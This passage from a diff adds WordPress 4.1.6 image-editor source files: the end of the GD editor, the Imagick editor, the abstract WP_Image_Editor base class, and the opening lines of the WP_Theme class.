+			$sx = $vert ? ($w - 1) : 0;
+			$sy = $horz ? ($h - 1) : 0;
+			$sw = $vert ? -$w : $w;
+			$sh = $horz ? -$h : $h;
+
+			if ( imagecopyresampled( $dst, $this->image, 0, 0, $sx, $sy, $w, $h, $sw, $sh ) ) {
+				imagedestroy( $this->image );
+				$this->image = $dst;
+				return true;
+			}
+		}
+		return new WP_Error( 'image_flip_error', __('Image flip failed.'), $this->file );
+	}
+
+	/**
+	 * Saves current in-memory image to file.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 *
+	 * @param string|null $filename
+	 * @param string|null $mime_type
+	 * @return array|WP_Error {'path'=>string, 'file'=>string, 'width'=>int, 'height'=>int, 'mime-type'=>string}
+	 */
+	public function save( $filename = null, $mime_type = null ) {
+		$saved = $this->_save( $this->image, $filename, $mime_type );
+
+		if ( ! is_wp_error( $saved ) ) {
+			$this->file = $saved['path'];
+			$this->mime_type = $saved['mime-type'];
+		}
+
+		return $saved;
+	}
+
+	/**
+	 * @param resource $image
+	 * @param string|null $filename
+	 * @param string|null $mime_type
+	 * @return WP_Error|array
+	 */
+	protected function _save( $image, $filename = null, $mime_type = null ) {
+		list( $filename, $extension, $mime_type ) = $this->get_output_format( $filename, $mime_type );
+
+		if ( ! $filename )
+			$filename = $this->generate_filename( null, null, $extension );
+
+		if ( 'image/gif' == $mime_type ) {
+			if ( ! $this->make_image( $filename, 'imagegif', array( $image, $filename ) ) )
+				return new WP_Error( 'image_save_error', __('Image Editor Save Failed') );
+		}
+		elseif ( 'image/png' == $mime_type ) {
+			// convert from full colors to index colors, like original PNG.
+			if ( function_exists('imageistruecolor') && ! imageistruecolor( $image ) )
+				imagetruecolortopalette( $image, false, imagecolorstotal( $image ) );
+
+			if ( ! $this->make_image( $filename, 'imagepng', array( $image, $filename ) ) )
+				return new WP_Error( 'image_save_error', __('Image Editor Save Failed') );
+		}
+		elseif ( 'image/jpeg' == $mime_type ) {
+			if ( ! $this->make_image( $filename, 'imagejpeg', array( $image, $filename, $this->get_quality() ) ) )
+				return new WP_Error( 'image_save_error', __('Image Editor Save Failed') );
+		}
+		else {
+			return new WP_Error( 'image_save_error', __('Image Editor Save Failed') );
+		}
+
+		// Set correct file permissions
+		$stat = stat( dirname( $filename ) );
+		$perms = $stat['mode'] & 0000666; //same permissions as parent folder, strip off the executable bits
+		@ chmod( $filename, $perms );
+
+		/**
+		 * Filter the name of the saved image file.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @param string $filename Name of the file.
+		 */
+		return array(
+			'path'      => $filename,
+			'file'      => wp_basename( apply_filters( 'image_make_intermediate_size', $filename ) ),
+			'width'     => $this->size['width'],
+			'height'    => $this->size['height'],
+			'mime-type' => $mime_type,
+		);
+	}
+
+	/**
+	 * Returns stream of current image.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 *
+	 * @param string $mime_type
+	 */
+	public function stream( $mime_type = null ) {
+		list( $filename, $extension, $mime_type ) = $this->get_output_format( null, $mime_type );
+
+		switch ( $mime_type ) {
+			case 'image/png':
+				header( 'Content-Type: image/png' );
+				return imagepng( $this->image );
+			case 'image/gif':
+				header( 'Content-Type: image/gif' );
+				return imagegif( $this->image );
+			default:
+				header( 'Content-Type: image/jpeg' );
+				return imagejpeg( $this->image, null, $this->get_quality() );
+		}
+	}
+
+	/**
+	 * Either calls editor's save function or handles file as a stream.
+	 *
+	 * @since 3.5.0
+	 * @access protected
+	 *
+	 * @param string|stream $filename
+	 * @param callable $function
+	 * @param array $arguments
+	 * @return boolean
+	 */
+	protected function make_image( $filename, $function, $arguments ) {
+		if ( wp_is_stream( $filename ) )
+			$arguments[1] = null;
+
+		return parent::make_image( $filename, $function, $arguments );
+	}
+}
Index: /tags/4.1.6/src/wp-includes/class-wp-image-editor-imagick.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-wp-image-editor-imagick.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-wp-image-editor-imagick.php	(revision 33402)
@@ -0,0 +1,514 @@
+<?php
+/**
+ * WordPress Imagick Image Editor
+ *
+ * @package WordPress
+ * @subpackage Image_Editor
+ */
+
+/**
+ * WordPress Image Editor Class for Image Manipulation through Imagick PHP Module
+ *
+ * @since 3.5.0
+ * @package WordPress
+ * @subpackage Image_Editor
+ * @uses WP_Image_Editor Extends class
+ */
+class WP_Image_Editor_Imagick extends WP_Image_Editor {
+	/**
+	 * @var Imagick
+	 */
+	protected $image; // Imagick Object
+
+	public function __destruct() {
+		if ( $this->image instanceof Imagick ) {
+			// we don't need the original in memory anymore
+			$this->image->clear();
+			$this->image->destroy();
+		}
+	}
+
+	/**
+	 * Checks to see if current environment supports Imagick.
+	 *
+	 * We require Imagick 2.2.0 or greater, based on whether the queryFormats()
+	 * method can be called statically.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 *
+	 * @return boolean
+	 */
+	public static function test( $args = array() ) {
+
+		// First, test Imagick's extension and classes.
+		if ( ! extension_loaded( 'imagick' ) || ! class_exists( 'Imagick' ) || ! class_exists( 'ImagickPixel' ) )
+			return false;
+
+		if ( version_compare( phpversion( 'imagick' ), '2.2.0', '<' ) )
+			return false;
+
+		$required_methods = array(
+			'clear',
+			'destroy',
+			'valid',
+			'getimage',
+			'writeimage',
+			'getimageblob',
+			'getimagegeometry',
+			'getimageformat',
+			'setimageformat',
+			'setimagecompression',
+			'setimagecompressionquality',
+			'setimagepage',
+			'scaleimage',
+			'cropimage',
+			'rotateimage',
+			'flipimage',
+			'flopimage',
+		);
+
+		// Now, test for deep requirements within Imagick.
+		if ( ! defined( 'imagick::COMPRESSION_JPEG' ) )
+			return false;
+
+		if ( array_diff( $required_methods, get_class_methods( 'Imagick' ) ) )
+			return false;
+
+		return true;
+	}
+
+	/**
+	 * Checks to see if editor supports the mime-type specified.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 *
+	 * @param string $mime_type
+	 * @return boolean
+	 */
+	public static function supports_mime_type( $mime_type ) {
+		$imagick_extension = strtoupper( self::get_extension( $mime_type ) );
+
+		if ( ! $imagick_extension )
+			return false;
+
+		// setIteratorIndex is optional unless mime is an animated format.
+		// Here, we just say no if you are missing it and aren't loading a jpeg.
+		if ( ! method_exists( 'Imagick', 'setIteratorIndex' ) && $mime_type != 'image/jpeg' )
+				return false;
+
+		try {
+			return ( (bool) @Imagick::queryFormats( $imagick_extension ) );
+		}
+		catch ( Exception $e ) {
+			return false;
+		}
+	}
+
+	/**
+	 * Loads image from $this->file into new Imagick Object.
+	 *
+	 * @since 3.5.0
+	 * @access protected
+	 *
+	 * @return boolean|WP_Error True if loaded; WP_Error on failure.
+	 */
+	public function load() {
+		if ( $this->image instanceof Imagick )
+			return true;
+
+		if ( ! is_file( $this->file ) && ! preg_match( '|^https?://|', $this->file ) )
+			return new WP_Error( 'error_loading_image', __('File doesn&#8217;t exist?'), $this->file );
+
+		/** This filter is documented in wp-includes/class-wp-image-editor-imagick.php */
+		// Even though Imagick uses less PHP memory than GD, set higher limit for users that have low PHP.ini limits
+		@ini_set( 'memory_limit', apply_filters( 'image_memory_limit', WP_MAX_MEMORY_LIMIT ) );
+
+		try {
+			$this->image = new Imagick( $this->file );
+
+			if( ! $this->image->valid() )
+				return new WP_Error( 'invalid_image', __('File is not an image.'), $this->file);
+
+			// Select the first frame to handle animated images properly
+			if ( is_callable( array( $this->image, 'setIteratorIndex' ) ) )
+				$this->image->setIteratorIndex(0);
+
+			$this->mime_type = $this->get_mime_type( $this->image->getImageFormat() );
+		}
+		catch ( Exception $e ) {
+			return new WP_Error( 'invalid_image', $e->getMessage(), $this->file );
+		}
+
+		$updated_size = $this->update_size();
+		if ( is_wp_error( $updated_size ) ) {
+			return $updated_size;
+		}
+
+		return $this->set_quality();
+	}
+
+	/**
+	 * Sets Image Compression quality on a 1-100% scale.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 *
+	 * @param int $quality Compression Quality. Range: [1,100]
+	 * @return boolean|WP_Error True if set successfully; WP_Error on failure.
+	 */
+	public function set_quality( $quality = null ) {
+		$quality_result = parent::set_quality( $quality );
+		if ( is_wp_error( $quality_result ) ) {
+			return $quality_result;
+		} else {
+			$quality = $this->get_quality();
+		}
+
+		try {
+			if ( 'image/jpeg' == $this->mime_type ) {
+				$this->image->setImageCompressionQuality( $quality );
+				$this->image->setImageCompression( imagick::COMPRESSION_JPEG );
+			}
+			else {
+				$this->image->setImageCompressionQuality( $quality );
+			}
+		}
+		catch ( Exception $e ) {
+			return new WP_Error( 'image_quality_error', $e->getMessage() );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Sets or updates current image size.
+	 *
+	 * @since 3.5.0
+	 * @access protected
+	 *
+	 * @param int $width
+	 * @param int $height
+	 */
+	protected function update_size( $width = null, $height = null ) {
+		$size = null;
+		if ( !$width || !$height ) {
+			try {
+				$size = $this->image->getImageGeometry();
+			}
+			catch ( Exception $e ) {
+				return new WP_Error( 'invalid_image', __('Could not read image size'), $this->file );
+			}
+		}
+
+		if ( ! $width )
+			$width = $size['width'];
+
+		if ( ! $height )
+			$height = $size['height'];
+
+		return parent::update_size( $width, $height );
+	}
+
+	/**
+	 * Resizes current image.
+	 *
+	 * At minimum, either a height or width must be provided.
+	 * If one of the two is set to null, the resize will
+	 * maintain aspect ratio according to the provided dimension.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 *
+	 * @param  int|null $max_w Image width.
+	 * @param  int|null $max_h Image height.
+	 * @param  boolean  $crop
+	 * @return boolean|WP_Error
+	 */
+	public function resize( $max_w, $max_h, $crop = false ) {
+		if ( ( $this->size['width'] == $max_w ) && ( $this->size['height'] == $max_h ) )
+			return true;
+
+		$dims = image_resize_dimensions( $this->size['width'], $this->size['height'], $max_w, $max_h, $crop );
+		if ( ! $dims )
+			return new WP_Error( 'error_getting_dimensions', __('Could not calculate resized image dimensions') );
+		list( $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h ) = $dims;
+
+		if ( $crop ) {
+			return $this->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h );
+		}
+
+		try {
+			/**
+			 * @TODO: Thumbnail is more efficient, given a newer version of Imagemagick.
+			 * $this->image->thumbnailImage( $dst_w, $dst_h );
+			 */
+			$this->image->scaleImage( $dst_w, $dst_h );
+		}
+		catch ( Exception $e ) {
+			return new WP_Error( 'image_resize_error', $e->getMessage() );
+		}
+
+		return $this->update_size( $dst_w, $dst_h );
+	}
+
+	/**
+	 * Resize multiple images from a single source.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 *
+	 * @param array $sizes {
+	 *     An array of image size arrays. Default sizes are 'small', 'medium', 'large'.
+	 *
+	 *     Either a height or width must be provided.
+	 *     If one of the two is set to null, the resize will
+	 *     maintain aspect ratio according to the provided dimension.
+	 *
+	 *     @type array $size {
+	 *         @type int  ['width']  Optional. Image width.
+	 *         @type int  ['height'] Optional. Image height.
+	 *         @type bool $crop   Optional. Whether to crop the image. Default false.
+	 *     }
+	 * }
+	 * @return array An array of resized images' metadata by size.
+	 */
+	public function multi_resize( $sizes ) {
+		$metadata = array();
+		$orig_size = $this->size;
+		$orig_image = $this->image->getImage();
+
+		foreach ( $sizes as $size => $size_data ) {
+			if ( ! $this->image )
+				$this->image = $orig_image->getImage();
+
+			if ( ! isset( $size_data['width'] ) && ! isset( $size_data['height'] ) ) {
+				continue;
+			}
+
+			if ( ! isset( $size_data['width'] ) ) {
+				$size_data['width'] = null;
+			}
+			if ( ! isset( $size_data['height'] ) ) {
+				$size_data['height'] = null;
+			}
+
+			if ( ! isset( $size_data['crop'] ) ) {
+				$size_data['crop'] = false;
+			}
+
+			$resize_result = $this->resize( $size_data['width'], $size_data['height'], $size_data['crop'] );
+
+			if( ! is_wp_error( $resize_result ) ) {
+				$resized = $this->_save( $this->image );
+
+				$this->image->clear();
+				$this->image->destroy();
+				$this->image = null;
+
+				if ( ! is_wp_error( $resized ) && $resized ) {
+					unset( $resized['path'] );
+					$metadata[$size] = $resized;
+				}
+			}
+
+			$this->size = $orig_size;
+		}
+
+		$this->image = $orig_image;
+
+		return $metadata;
+	}
+
+	/**
+	 * Crops Image.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 *
+	 * @param string|int $src The source file or Attachment ID.
+	 * @param int $src_x The start x position to crop from.
+	 * @param int $src_y The start y position to crop from.
+	 * @param int $src_w The width to crop.
+	 * @param int $src_h The height to crop.
+	 * @param int $dst_w Optional. The destination width.
+	 * @param int $dst_h Optional. The destination height.
+	 * @param boolean $src_abs Optional. If the source crop points are absolute.
+	 * @return boolean|WP_Error
+	 */
+	public function crop( $src_x, $src_y, $src_w, $src_h, $dst_w = null, $dst_h = null, $src_abs = false ) {
+		if ( $src_abs ) {
+			$src_w -= $src_x;
+			$src_h -= $src_y;
+		}
+
+		try {
+			$this->image->cropImage( $src_w, $src_h, $src_x, $src_y );
+			$this->image->setImagePage( $src_w, $src_h, 0, 0);
+
+			if ( $dst_w || $dst_h ) {
+				// If destination width/height isn't specified, use same as
+				// width/height from source.
+				if ( ! $dst_w )
+					$dst_w = $src_w;
+				if ( ! $dst_h )
+					$dst_h = $src_h;
+
+				$this->image->scaleImage( $dst_w, $dst_h );
+				return $this->update_size();
+			}
+		}
+		catch ( Exception $e ) {
+			return new WP_Error( 'image_crop_error', $e->getMessage() );
+		}
+		return $this->update_size();
+	}
+
+	/**
+	 * Rotates current image counter-clockwise by $angle.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 *
+	 * @param float $angle
+	 * @return boolean|WP_Error
+	 */
+	public function rotate( $angle ) {
+		/**
+		 * $angle is 360-$angle because Imagick rotates clockwise
+		 * (GD rotates counter-clockwise)
+		 */
+		try {
+			$this->image->rotateImage( new ImagickPixel('none'), 360-$angle );
+
+			// Since this changes the dimensions of the image, update the size.
+			$result = $this->update_size();
+			if ( is_wp_error( $result ) )
+				return $result;
+
+			$this->image->setImagePage( $this->size['width'], $this->size['height'], 0, 0 );
+		}
+		catch ( Exception $e ) {
+			return new WP_Error( 'image_rotate_error', $e->getMessage() );
+		}
+		return true;
+	}
+
+	/**
+	 * Flips current image.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 *
+	 * @param boolean $horz Flip along Horizontal Axis
+	 * @param boolean $vert Flip along Vertical Axis
+	 * @returns boolean|WP_Error
+	 */
+	public function flip( $horz, $vert ) {
+		try {
+			if ( $horz )
+				$this->image->flipImage();
+
+			if ( $vert )
+				$this->image->flopImage();
+		}
+		catch ( Exception $e ) {
+			return new WP_Error( 'image_flip_error', $e->getMessage() );
+		}
+		return true;
+	}
+
+	/**
+	 * Saves current image to file.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 *
+	 * @param string $destfilename
+	 * @param string $mime_type
+	 * @return array|WP_Error {'path'=>string, 'file'=>string, 'width'=>int, 'height'=>int, 'mime-type'=>string}
+	 */
+	public function save( $destfilename = null, $mime_type = null ) {
+		$saved = $this->_save( $this->image, $destfilename, $mime_type );
+
+		if ( ! is_wp_error( $saved ) ) {
+			$this->file = $saved['path'];
+			$this->mime_type = $saved['mime-type'];
+
+			try {
+				$this->image->setImageFormat( strtoupper( $this->get_extension( $this->mime_type ) ) );
+			}
+			catch ( Exception $e ) {
+				return new WP_Error( 'image_save_error', $e->getMessage(), $this->file );
+			}
+		}
+
+		return $saved;
+	}
+
+	protected function _save( $image, $filename = null, $mime_type = null ) {
+		list( $filename, $extension, $mime_type ) = $this->get_output_format( $filename, $mime_type );
+
+		if ( ! $filename )
+			$filename = $this->generate_filename( null, null, $extension );
+
+		try {
+			// Store initial Format
+			$orig_format = $this->image->getImageFormat();
+
+			$this->image->setImageFormat( strtoupper( $this->get_extension( $mime_type ) ) );
+			$this->make_image( $filename, array( $image, 'writeImage' ), array( $filename ) );
+
+			// Reset original Format
+			$this->image->setImageFormat( $orig_format );
+		}
+		catch ( Exception $e ) {
+			return new WP_Error( 'image_save_error', $e->getMessage(), $filename );
+		}
+
+		// Set correct file permissions
+		$stat = stat( dirname( $filename ) );
+		$perms = $stat['mode'] & 0000666; //same permissions as parent folder, strip off the executable bits
+		@ chmod( $filename, $perms );
+
+		/** This filter is documented in wp-includes/class-wp-image-editor-gd.php */
+		return array(
+			'path'      => $filename,
+			'file'      => wp_basename( apply_filters( 'image_make_intermediate_size', $filename ) ),
+			'width'     => $this->size['width'],
+			'height'    => $this->size['height'],
+			'mime-type' => $mime_type,
+		);
+	}
+
+	/**
+	 * Streams current image to browser.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 *
+	 * @param string $mime_type
+	 * @return boolean|WP_Error
+	 */
+	public function stream( $mime_type = null ) {
+		list( $filename, $extension, $mime_type ) = $this->get_output_format( null, $mime_type );
+
+		try {
+			// Temporarily change format for stream
+			$this->image->setImageFormat( strtoupper( $extension ) );
+
+			// Output stream of image content
+			header( "Content-Type: $mime_type" );
+			print $this->image->getImageBlob();
+
+			// Reset Image to original Format
+			$this->image->setImageFormat( $this->get_extension( $this->mime_type ) );
+		}
+		catch ( Exception $e ) {
+			return new WP_Error( 'image_stream_error', $e->getMessage() );
+		}
+
+		return true;
+	}
+}
Index: /tags/4.1.6/src/wp-includes/class-wp-image-editor.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-wp-image-editor.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-wp-image-editor.php	(revision 33402)
@@ -0,0 +1,485 @@
+<?php
+/**
+ * Base WordPress Image Editor
+ *
+ * @package WordPress
+ * @subpackage Image_Editor
+ */
+
+/**
+ * Base image editor class from which implementations extend
+ *
+ * @since 3.5.0
+ */
+abstract class WP_Image_Editor {
+	protected $file = null;
+	protected $size = null;
+	protected $mime_type = null;
+	protected $default_mime_type = 'image/jpeg';
+	protected $quality = false;
+	protected $default_quality = 90;
+
+	/**
+	 * Each instance handles a single file.
+	 */
+	public function __construct( $file ) {
+		$this->file = $file;
+	}
+
+	/**
+	 * Checks to see if current environment supports the editor chosen.
+	 * Must be overridden in a sub-class.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 * @abstract
+	 *
+	 * @param array $args
+	 * @return boolean
+	 */
+	public static function test( $args = array() ) {
+		return false;
+	}
+
+	/**
+	 * Checks to see if editor supports the mime-type specified.
+	 * Must be overridden in a sub-class.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 * @abstract
+	 *
+	 * @param string $mime_type
+	 * @return boolean
+	 */
+	public static function supports_mime_type( $mime_type ) {
+		return false;
+	}
+
+	/**
+	 * Loads image from $this->file into editor.
+	 *
+	 * @since 3.5.0
+	 * @access protected
+	 * @abstract
+	 *
+	 * @return boolean|WP_Error True if loaded; WP_Error on failure.
+	 */
+	abstract public function load();
+
+	/**
+	 * Saves current image to file.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 * @abstract
+	 *
+	 * @param string $destfilename
+	 * @param string $mime_type
+	 * @return array|WP_Error {'path'=>string, 'file'=>string, 'width'=>int, 'height'=>int, 'mime-type'=>string}
+	 */
+	abstract public function save( $destfilename = null, $mime_type = null );
+
+	/**
+	 * Resizes current image.
+	 *
+	 * At minimum, either a height or width must be provided.
+	 * If one of the two is set to null, the resize will
+	 * maintain aspect ratio according to the provided dimension.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 * @abstract
+	 *
+	 * @param  int|null $max_w Image width.
+	 * @param  int|null $max_h Image height.
+	 * @param  boolean  $crop
+	 * @return boolean|WP_Error
+	 */
+	abstract public function resize( $max_w, $max_h, $crop = false );
+
+	/**
+	 * Resize multiple images from a single source.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 * @abstract
+	 *
+	 * @param array $sizes {
+	 *     An array of image size arrays. Default sizes are 'small', 'medium', 'large'.
+	 *
+	 *     @type array $size {
+	 *         @type int  $width  Image width.
+	 *         @type int  $height Image height.
+	 *         @type bool $crop   Optional. Whether to crop the image. Default false.
+	 *     }
+	 * }
+	 * @return array An array of resized images metadata by size.
+	 */
+	abstract public function multi_resize( $sizes );
+
+	/**
+	 * Crops Image.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 * @abstract
+	 *
+	 * @param string|int $src The source file or Attachment ID.
+	 * @param int $src_x The start x position to crop from.
+	 * @param int $src_y The start y position to crop from.
+	 * @param int $src_w The width to crop.
+	 * @param int $src_h The height to crop.
+	 * @param int $dst_w Optional. The destination width.
+	 * @param int $dst_h Optional. The destination height.
+	 * @param boolean $src_abs Optional. If the source crop points are absolute.
+	 * @return boolean|WP_Error
+	 */
+	abstract public function crop( $src_x, $src_y, $src_w, $src_h, $dst_w = null, $dst_h = null, $src_abs = false );
+
+	/**
+	 * Rotates current image counter-clockwise by $angle.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 * @abstract
+	 *
+	 * @param float $angle
+	 * @return boolean|WP_Error
+	 */
+	abstract public function rotate( $angle );
+
+	/**
+	 * Flips current image.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 * @abstract
+	 *
+	 * @param boolean $horz Flip along Horizontal Axis
+	 * @param boolean $vert Flip along Vertical Axis
+	 * @return boolean|WP_Error
+	 */
+	abstract public function flip( $horz, $vert );
+
+	/**
+	 * Streams current image to browser.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 * @abstract
+	 *
+	 * @param string $mime_type
+	 * @return boolean|WP_Error
+	 */
+	abstract public function stream( $mime_type = null );
+
+	/**
+	 * Gets dimensions of image.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 *
+	 * @return array {'width'=>int, 'height'=>int}
+	 */
+	public function get_size() {
+		return $this->size;
+	}
+
+	/**
+	 * Sets current image size.
+	 *
+	 * @since 3.5.0
+	 * @access protected
+	 *
+	 * @param int $width
+	 * @param int $height
+	 */
+	protected function update_size( $width = null, $height = null ) {
+		$this->size = array(
+			'width' => (int) $width,
+			'height' => (int) $height
+		);
+		return true;
+	}
+
+	/**
+	 * Gets the Image Compression quality on a 1-100% scale.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @return int $quality Compression Quality. Range: [1,100]
+	 */
+	public function get_quality() {
+		if ( ! $this->quality ) {
+			$this->set_quality();
+		}
+
+		return $this->quality;
+	}
+
+	/**
+	 * Sets Image Compression quality on a 1-100% scale.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 *
+	 * @param int $quality Compression Quality. Range: [1,100]
+	 * @return boolean|WP_Error True if set successfully; WP_Error on failure.
+	 */
+	public function set_quality( $quality = null ) {
+		if ( null === $quality ) {
+			/**
+			 * Filter the default image compression quality setting.
+			 *
+			 * Applies only during initial editor instantiation, or when set_quality() is run
+			 * manually without the `$quality` argument.
+			 *
+			 * set_quality() has priority over the filter.
+			 *
+			 * @since 3.5.0
+			 *
+			 * @param int    $quality   Quality level between 1 (low) and 100 (high).
+			 * @param string $mime_type Image mime type.
+			 */
+			$quality = apply_filters( 'wp_editor_set_quality', $this->default_quality, $this->mime_type );
+
+			if ( 'image/jpeg' == $this->mime_type ) {
+				/**
+				 * Filter the JPEG compression quality for backward-compatibility.
+				 *
+				 * Applies only during initial editor instantiation, or when set_quality() is run
+				 * manually without the `$quality` argument.
+				 *
+				 * set_quality() has priority over the filter.
+				 *
+				 * The filter is evaluated under two contexts: 'image_resize', and 'edit_image',
+				 * (when a JPEG image is saved to file).
+				 *
+				 * @since 2.5.0
+				 *
+				 * @param int    $quality Quality level between 0 (low) and 100 (high) of the JPEG.
+				 * @param string $context Context of the filter.
+				 */
+				$quality = apply_filters( 'jpeg_quality', $quality, 'image_resize' );
+			}
+
+			if ( $quality < 0 || $quality > 100 ) {
+				$quality = $this->default_quality;
+			}
+		}
+
+		// Allow 0, but squash to 1 due to identical images in GD, and for backwards compatibility.
+		if ( 0 === $quality ) {
+			$quality = 1;
+		}
+
+		if ( ( $quality >= 1 ) && ( $quality <= 100 ) ) {
+			$this->quality = $quality;
+			return true;
+		} else {
+			return new WP_Error( 'invalid_image_quality', __('Attempted to set image quality outside of the range [1,100].') );
+		}
+	}
+
+	/**
+	 * Returns preferred mime-type and extension based on provided
+	 * file's extension and mime, or current file's extension and mime.
+	 *
+	 * Will default to $this->default_mime_type if requested is not supported.
+	 *
+	 * Provides corrected filename only if filename is provided.
+	 *
+	 * @since 3.5.0
+	 * @access protected
+	 *
+	 * @param string $filename
+	 * @param string $mime_type
+	 * @return array { filename|null, extension, mime-type }
+	 */
+	protected function get_output_format( $filename = null, $mime_type = null ) {
+		$new_ext = null;
+
+		// By default, assume specified type takes priority
+		if ( $mime_type ) {
+			$new_ext = $this->get_extension( $mime_type );
+		}
+
+		if ( $filename ) {
+			$file_ext = strtolower( pathinfo( $filename, PATHINFO_EXTENSION ) );
+			$file_mime = $this->get_mime_type( $file_ext );
+		}
+		else {
+			// If no file specified, grab editor's current extension and mime-type.
+			$file_ext = strtolower( pathinfo( $this->file, PATHINFO_EXTENSION ) );
+			$file_mime = $this->mime_type;
+		}
+
+		// Check to see if specified mime-type is the same as type implied by
+		// file extension.  If so, prefer extension from file.
+		if ( ! $mime_type || ( $file_mime == $mime_type ) ) {
+			$mime_type = $file_mime;
+			$new_ext = $file_ext;
+		}
+
+		// Double-check that the mime-type selected is supported by the editor.
+		// If not, choose a default instead.
+		if ( ! $this->supports_mime_type( $mime_type ) ) {
+			/**
+			 * Filter default mime type prior to getting the file extension.
+			 *
+			 * @see wp_get_mime_types()
+			 *
+			 * @since 3.5.0
+			 *
+			 * @param string $mime_type Mime type string.
+			 */
+			$mime_type = apply_filters( 'image_editor_default_mime_type', $this->default_mime_type );
+			$new_ext = $this->get_extension( $mime_type );
+		}
+
+		if ( $filename ) {
+			$ext = '';
+			$info = pathinfo( $filename );
+			$dir  = $info['dirname'];
+
+			if( isset( $info['extension'] ) )
+				$ext = $info['extension'];
+
+			$filename = trailingslashit( $dir ) . wp_basename( $filename, ".$ext" ) . ".{$new_ext}";
+		}
+
+		return array( $filename, $new_ext, $mime_type );
+	}
+
+	/**
+	 * Builds an output filename based on current file, and adding proper suffix
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 *
+	 * @param string $suffix
+	 * @param string $dest_path
+	 * @param string $extension
+	 * @return string filename
+	 */
+	public function generate_filename( $suffix = null, $dest_path = null, $extension = null ) {
+		// $suffix will be appended to the destination filename, just before the extension
+		if ( ! $suffix )
+			$suffix = $this->get_suffix();
+
+		$info = pathinfo( $this->file );
+		$dir  = $info['dirname'];
+		$ext  = $info['extension'];
+
+		$name = wp_basename( $this->file, ".$ext" );
+		$new_ext = strtolower( $extension ? $extension : $ext );
+
+		if ( ! is_null( $dest_path ) && $_dest_path = realpath( $dest_path ) )
+			$dir = $_dest_path;
+
+		return trailingslashit( $dir ) . "{$name}-{$suffix}.{$new_ext}";
+	}
+
+	/**
+	 * Builds and returns proper suffix for file based on height and width.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 *
+	 * @return string suffix
+	 */
+	public function get_suffix() {
+		if ( ! $this->get_size() )
+			return false;
+
+		return "{$this->size['width']}x{$this->size['height']}";
+	}
+
+	/**
+	 * Either calls editor's save function or handles file as a stream.
+	 *
+	 * @since 3.5.0
+	 * @access protected
+	 *
+	 * @param string|stream $filename
+	 * @param callable $function
+	 * @param array $arguments
+	 * @return boolean
+	 */
+	protected function make_image( $filename, $function, $arguments ) {
+		if ( $stream = wp_is_stream( $filename ) ) {
+			ob_start();
+		} else {
+			// The directory containing the original file may no longer exist when using a replication plugin.
+			wp_mkdir_p( dirname( $filename ) );
+		}
+
+		$result = call_user_func_array( $function, $arguments );
+
+		if ( $result && $stream ) {
+			$contents = ob_get_contents();
+
+			$fp = fopen( $filename, 'w' );
+
+			if ( ! $fp )
+				return false;
+
+			fwrite( $fp, $contents );
+			fclose( $fp );
+		}
+
+		if ( $stream ) {
+			ob_end_clean();
+		}
+
+		return $result;
+	}
+
+	/**
+	 * Returns first matched mime-type from extension,
+	 * as mapped from wp_get_mime_types()
+	 *
+	 * @since 3.5.0
+	 * @access protected
+	 *
+	 * @param string $extension
+	 * @return string|boolean
+	 */
+	protected static function get_mime_type( $extension = null ) {
+		if ( ! $extension )
+			return false;
+
+		$mime_types = wp_get_mime_types();
+		$extensions = array_keys( $mime_types );
+
+		foreach( $extensions as $_extension ) {
+			if ( preg_match( "/{$extension}/i", $_extension ) ) {
+				return $mime_types[$_extension];
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Returns first matched extension from Mime-type,
+	 * as mapped from wp_get_mime_types()
+	 *
+	 * @since 3.5.0
+	 * @access protected
+	 *
+	 * @param string $mime_type
+	 * @return string|boolean
+	 */
+	protected static function get_extension( $mime_type = null ) {
+		$extensions = explode( '|', array_search( $mime_type, wp_get_mime_types() ) );
+
+		if ( empty( $extensions[0] ) )
+			return false;
+
+		return $extensions[0];
+	}
+}
+
Index: /tags/4.1.6/src/wp-includes/class-wp-theme.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-wp-theme.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-wp-theme.php	(revision 33402)
@@ -0,0 +1,1234 @@
+<?php
+/**
+ * WP_Theme Class
+ *
+ * @package WordPress
+ * @subpackage Theme
+ */
+
+final class WP_Theme implements ArrayAccess {
+
+	/**
+	 * Headers for style.css files.
+	 *
+	 * @static
+	 * @access private
+	 * @var array
+	 */
+	private static $file_headers = array(
+		'Name'        => 'Theme Name',
+		'ThemeURI'    => 'Theme URI',
+		'Description' => 'Description',
+		'Author'      => 'Author',
+		'AuthorURI'   => 'Author URI',
+		'Version'     => 'Version',
+		'Template'    => 'Template',
+		'Status'      => 'Status',
+		'Tags'        => 'Tags',
+		'TextDomain'  => 'Text Domain',
+		'DomainPath'  => 'Domain Path',
+	);
+
+	/**
+	 * Default themes.
